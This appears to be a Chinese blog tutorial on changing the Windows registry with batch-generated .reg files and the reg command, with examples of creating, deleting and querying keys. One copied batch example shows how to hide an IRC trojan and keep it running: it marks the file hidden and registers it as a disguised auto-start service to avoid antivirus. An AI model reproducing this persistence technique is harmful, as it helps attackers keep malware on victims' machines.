一,批處理生成.Reg文件操作注冊表
用批處理中的重定向符號可以輕松地生成.reg文件。然后用命令執行.reg文件即可!
這里,着重要了解.reg文件操作注冊表的方法。
首先.reg文件首行必須是:Windows Registry Editor Version 5.00。然后才是操作注冊表的內容。
(就和從注冊表中導出的文件格式一致)
1,創建子項
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
在HKEY_LOCAL_MACHINE\SOFTWARE\下創建了一個名字為“TTT”的子項。
2,創建一個項目名稱
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\TTT] "Name"="TTT BLOG" "EMail"="taoether@gmail.com" "URL"="http://www.taoyoyo.net/ttt/" "Type"=dword:02
這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]下新建了:Name、EMail、 URL、Type這四個項目
Name、Email、URL的類型是“String Value”
Type的類型是“DWORD Value”
(附:windows注冊表值類型:
REG_SZ 字符串值
REG_BINARY 二進制值
REG_DWORD DWORD值
REG_MULTI_SZ 多字符串值
REG_EXPAND_SZ 可擴充字符串值)
3,修改鍵值
修改相對來說比較簡單,只要把你需要修改的項目導出,然后用記事本進行修改,然后導入(regedit /s)即可。就象新建一樣即可。可以一次修改同一子項下的多個項目。
4,刪除項目名稱
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\TTT] "EMail"=
執行該腳本,"EMail"就被刪除了;
5,刪除子項
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\TTT] [HKEY_LOCAL_MACHINE\SOFTWARE\DDD]
執行該腳本,子項ttt和ddd就已經被刪除了。
6,.reg文件執行方法
1)直接執行reg文件
2)regedit /s *.reg (/s不用確認)
3)reg import *.reg
7,其實,我們也可以用dll文件代替reg文件。
批處理例1:
@echo off echo Windows Registry Editor Version 5.00 >t1.reg echo. echo [HKEY_LOCAL_MACHINE\SOFTWARE\TTT] >>t1.reg echo "Name"="TTT BLOG" >>t1.reg echo "EMail"="taoether@gmail.com" >>t1.reg echo "URL"="http://www.taoyoyo.net/ttt/" >>t1.reg echo "Type"=dword:02 >>t1.reg regedit /s t1.reg del /q t1.reg pause
批處理2:(這個例子是別人的,不是很懂的說~~)
我們現在在使用一些比較老的木馬時,可能會在注冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值用來實現木馬的自啟 動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查殺,相對地若是將木馬程序注冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例 (名為windrv32.exe)
@start windrv32.exe @attrib +h +r windrv32.exe @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll @echo "windsnx "=- >>patch.dll @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe @regedit /s patch.dll @delete patch.dll @REM [刪除DSNXDE在注冊表中的啟動項,用sc.exe將之注冊為系統關鍵性服務的同時將其屬性設為隱藏和只讀,並config為自啟動] @REM 這樣不是更安全^_^.
二,reg命令操作注冊表
Reg命令是Windows提供的一下專門操作注冊表的工具。可以方便的查詢,添加,刪除,導入,導出,比較等操作。具體可以參考系統自帶的幫助……
REG Operation [參數列表]
Operation [ QUERY | ADD | DELETE | COPY |
SAVE | LOAD | UNLOAD | RESTORE |
COMPARE | EXPORT | IMPORT ]
1,查詢所有子項和值
D:\>reg query hklm\software\TTT ! REG.EXE VERSION 3.0 HKEY_LOCAL_MACHINE\software\TTT Name REG_SZ TTT BLOG EMail REG_SZ taoether@gmail.com URL REG_SZ http://www.taoyoyo.net/ttt/ Type REG_DWORD 0x2
2,查詢特定項
D:\>reg query hklm\software\ttt /v url ! REG.EXE VERSION 3.0 HKEY_LOCAL_MACHINE\software\ttt url REG_SZ http://www.taoyoyo.net/ttt/
這里最難的是如何取得我們想要的字符串呢,困惑了好長時間,終於找到方法了。
原來也沒有別的好辦法,只能用find,for循環來截取我們需要的內容。(下面的例子如果看不懂,請參考本博客另外的文章:DOS循環-bat/批處理for命令詳解之二)
例如我們要得到url的鍵值: http://www.taoyoyo.net/ttt/,可以用以下腳本:
@ECHO OFF for /f "tokens=1,2,3,4,*" %%i in ('reg query "HKEY_LOCAL_MACHINE\software\ttt" ^| find /i "URL"') do SET "pURL=%%k" echo TTT BLOG的URL值為:%pURL%
D:\>test.bat TTT BLOG的URL值為:http://www.taoyoyo.net/ttt/